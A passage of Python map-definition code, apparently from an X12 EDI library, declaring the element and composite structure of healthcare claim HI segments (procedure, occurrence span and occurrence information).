Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI01-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'02',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'03',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'05',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'06',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'07',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'08',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'09',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'10',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'11',desc=u'Health Care Code Information'), ), Composite( u'C022', Properties(req_sit=u'N',refdes='',seq=u'12',desc=u'Health Care Code Information'), ), ), Segment( u'HI', Properties(syntax='',req_sit=u'S',repeat=u'2',pos=u'231',desc=u'Other Procedure Information'), Composite( u'C022', Properties(req_sit=u'R',refdes='',seq=u'01',desc=u'Health Care Code Information'), Element( u'HI01-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BO', u'BQ'] ) ), Element( u'HI01-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI01-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI01-04', Properties(desc=u'Date Time Period', req_sit=u'S', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI01-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI01-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI01-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'02',desc=u'Health Care Code Information'), Element( u'HI02-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BO', u'BQ'] ) ), Element( u'HI02-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI02-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI02-04', Properties(desc=u'Date Time Period', req_sit=u'S', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI02-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI02-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI02-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'03',desc=u'Health Care Code Information'), Element( u'HI03-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BO', u'BQ'] ) ), Element( u'HI03-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI03-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI03-04', Properties(desc=u'Date Time Period', req_sit=u'S', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI03-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI03-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI03-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'04',desc=u'Health Care Code Information'), Element( u'HI04-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BO', u'BQ'] ) ), Element( u'HI04-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI04-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI04-04', Properties(desc=u'Date Time Period', req_sit=u'S', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI04-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI04-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI04-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'05',desc=u'Health Care Code Information'), Element( u'HI05-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BO', u'BQ'] ) ), Element( u'HI05-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI05-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI05-04', Properties(desc=u'Date Time Period', req_sit=u'S', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI05-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI05-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI05-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'06',desc=u'Health Care Code Information'), Element( u'HI06-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BO', u'BQ'] ) ), Element( u'HI06-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI06-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI06-04', Properties(desc=u'Date Time Period', req_sit=u'S', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI06-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI06-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI06-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'07',desc=u'Health Care Code Information'), Element( u'HI07-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BO', u'BQ'] ) ), Element( u'HI07-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI07-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI07-04', Properties(desc=u'Date Time Period', req_sit=u'S', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI07-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI07-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI07-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'08',desc=u'Health Care Code Information'), Element( u'HI08-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BO', u'BQ'] ) ), Element( u'HI08-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI08-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI08-04', Properties(desc=u'Date Time Period', req_sit=u'S', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI08-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI08-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI08-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'09',desc=u'Health Care Code Information'), Element( u'HI09-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BO', u'BQ'] ) ), Element( u'HI09-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI09-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI09-04', Properties(desc=u'Date Time Period', req_sit=u'S', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI09-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI09-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI09-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'10',desc=u'Health Care Code Information'), Element( u'HI10-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BO', u'BQ'] ) ), Element( u'HI10-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI10-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI10-04', Properties(desc=u'Date Time Period', req_sit=u'S', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI10-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI10-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI10-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'11',desc=u'Health Care Code Information'), Element( u'HI11-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BO', u'BQ'] ) ), Element( u'HI11-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI11-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI11-04', Properties(desc=u'Date Time Period', req_sit=u'S', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI11-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI11-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI11-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'12',desc=u'Health Care Code Information'), Element( u'HI12-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BO', u'BQ'] ) ), Element( u'HI12-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI12-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI12-04', Properties(desc=u'Date Time Period', req_sit=u'S', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI12-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI12-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI12-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), ), Segment( u'HI', Properties(syntax='',req_sit=u'S',repeat=u'2',pos=u'231',desc=u'Occurrence Span Information'), Composite( u'C022', Properties(req_sit=u'R',refdes='',seq=u'01',desc=u'Health Care Code Information'), Element( u'HI01-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BI'] ) ), Element( u'HI01-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI01-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'RD8'] ) ), Element( u'HI01-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI01-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI01-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI01-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'02',desc=u'Health Care Code Information'), Element( u'HI02-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BI'] ) ), Element( u'HI02-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI02-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'RD8'] ) ), Element( u'HI02-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI02-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI02-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI02-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'03',desc=u'Health Care Code Information'), Element( u'HI03-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BI'] ) ), Element( u'HI03-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI03-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'RD8'] ) ), Element( u'HI03-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI03-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI03-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI03-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'04',desc=u'Health Care Code Information'), Element( u'HI04-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BI'] ) ), Element( u'HI04-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI04-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'RD8'] ) ), Element( u'HI04-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI04-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI04-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI04-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'05',desc=u'Health Care Code Information'), Element( u'HI05-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BI'] ) ), Element( u'HI05-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI05-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'RD8'] ) ), Element( u'HI05-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI05-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI05-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI05-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'06',desc=u'Health Care Code Information'), Element( u'HI06-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BI'] ) ), Element( u'HI06-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI06-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'RD8'] ) ), Element( u'HI06-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI06-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI06-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI06-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'07',desc=u'Health Care Code Information'), Element( u'HI07-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BI'] ) ), Element( u'HI07-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI07-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'RD8'] ) ), Element( u'HI07-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI07-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI07-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI07-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'08',desc=u'Health Care Code Information'), Element( u'HI08-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BI'] ) ), Element( u'HI08-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI08-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'RD8'] ) ), Element( u'HI08-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI08-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI08-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI08-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'09',desc=u'Health Care Code Information'), Element( u'HI09-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BI'] ) ), Element( u'HI09-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI09-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'RD8'] ) ), Element( u'HI09-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI09-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI09-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI09-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'10',desc=u'Health Care Code Information'), Element( u'HI10-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BI'] ) ), Element( u'HI10-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI10-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'RD8'] ) ), Element( u'HI10-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI10-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI10-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI10-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'11',desc=u'Health Care Code Information'), Element( u'HI11-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BI'] ) ), Element( u'HI11-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI11-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'RD8'] ) ), Element( u'HI11-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI11-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI11-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI11-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'12',desc=u'Health Care Code Information'), Element( u'HI12-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BI'] ) ), Element( u'HI12-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI12-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'RD8'] ) ), Element( u'HI12-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI12-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI12-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI12-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), ), Segment( u'HI', Properties(syntax='',req_sit=u'S',repeat=u'2',pos=u'231',desc=u'Occurrence Information'), Composite( u'C022', Properties(req_sit=u'R',refdes='',seq=u'01',desc=u'Health Care Code Information'), Element( u'HI01-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BH'] ) ), Element( u'HI01-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI01-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI01-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI01-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI01-06', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=5, codes=[] ) ), Element( u'HI01-07', Properties(desc=u'Version Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Composite( u'C022', Properties(req_sit=u'S',refdes='',seq=u'02',desc=u'Health Care Code Information'), Element( u'HI02-01', Properties(desc=u'Code List Qualifier Code', req_sit=u'R', data_type=(u'ID',u'1',u'3'), position=0, codes=[u'BH'] ) ), Element( u'HI02-02', Properties(desc=u'Industry Code', req_sit=u'R', data_type=(u'AN',u'1',u'30'), position=1, codes=[] ) ), Element( u'HI02-03', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=2, codes=[u'D8'] ) ), Element( u'HI02-04', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=3, codes=[] ) ), Element( u'HI02-05', Properties(desc=u'Monetary Amount', req_sit=u'N', data_type=(u'R',u'1',u'18'), position=4, codes=[] ) ), Element( u'HI02-06', Properties(desc=u'Quantity', req_sit=u'N', 